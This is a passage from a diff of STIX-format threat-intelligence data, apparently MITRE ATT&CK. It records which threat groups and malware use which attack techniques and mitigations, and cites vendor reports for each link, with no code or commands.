"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3347969-1cfd-43f3-b871-65874c4b2f95", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.360Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.438Z", + "type": "relationship", + "created": "2019-01-31T00:25:28.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e18e5899-894b-4889-b008-77b44dbc0fce", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used the net view command to show all shares available, including the administrative shares such as C$ and ADMIN$. [APT32](https://attack.mitre.org/groups/G0050) also used the ping command.", + "type": "relationship", + "created": "2019-01-31T01:07:58.596Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6080757-7935-439b-b70f-72ba841cda03", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.870Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used Tor to log in to victims' email accounts.", + "type": "relationship", + "created": "2019-01-31T02:01:45.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--50f68fb8-1e59-4b3a-b389-9c2797f4d347", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ], + "modified": "2019-04-18T20:19:49.250Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [BlackEnergy](https://attack.mitre.org/software/S0089) 2 plug-in uses WMI to gather victim host details.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Feb 2015", + "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/" + } + ], + "modified": "2019-06-24T17:08:51.686Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:31:10.552Z", + "type": "relationship", + "id": "relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "modified": "2019-07-17T13:11:37.917Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:25:29.148Z", + "type": "relationship", + "id": "relationship--352d3d80-3a5f-454b-8190-fbac20979fc7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.511Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a851ebf-c021-4ab1-a02f-84b03d65fdda", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:45:01.563Z", + "type": "relationship", + "id": "relationship--16d9a6db-8bc5-4183-bb35-7cec5c8b88ff", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) uses HTTP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--453914ae-8d76-4796-b507-dafc33adf005", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.654Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43e9c37e-9e57-4130-8510-05c65bfde6f8", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) has batch files that modify the system service COMSysApp to load a malicious DLL.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0219e940-6761-448c-a5a9-1f3e453b5f8a", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.178Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. [APT32](https://attack.mitre.org/groups/G0050) has also encoded payloads using Base64 and a framework called \"Dont-Kill-My-Cat (DKMC). [APT32](https://attack.mitre.org/groups/G0050) also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "GitHub Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "modified": "2019-07-17T13:11:37.973Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) can collect data from user directories.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e8293be-b9d6-4a27-8d49-216f17df3bd0", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing emails with an attachment to deliver files with exploits to initial victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--410f6714-cd02-4253-b324-a8ac15e70bca", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.206Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) uses RDP to tunnel traffic from a victim environment.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:14:01.189Z", + "type": "relationship", + "id": "relationship--2e3b8b06-5148-4313-8b1b-d75789838c84", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + } + ], + "modified": "2019-07-27T00:09:36.012Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate the permissions associated with Windows groups.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.401Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample also performs exfiltration over the C2 channel.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.632Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:18:47.249Z", + "type": "relationship", + "id": "relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. 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Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.083Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [New Service](https://attack.mitre.org/techniques/T1050).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0dd74596-509c-4669-9d29-e1fb501c9c70", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. 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Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.800Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-24T19:41:25.887Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--432f40d2-5309-4cc1-9544-2943233c3c2c", + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:46:42.107Z", + "type": "relationship", + "id": "relationship--126bfb52-654a-4056-be93-37a06f8d6a32", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.425Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) sends images to users that are embedded with shellcode. The group also obfuscates strings and payloads, including through the use of steganography.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 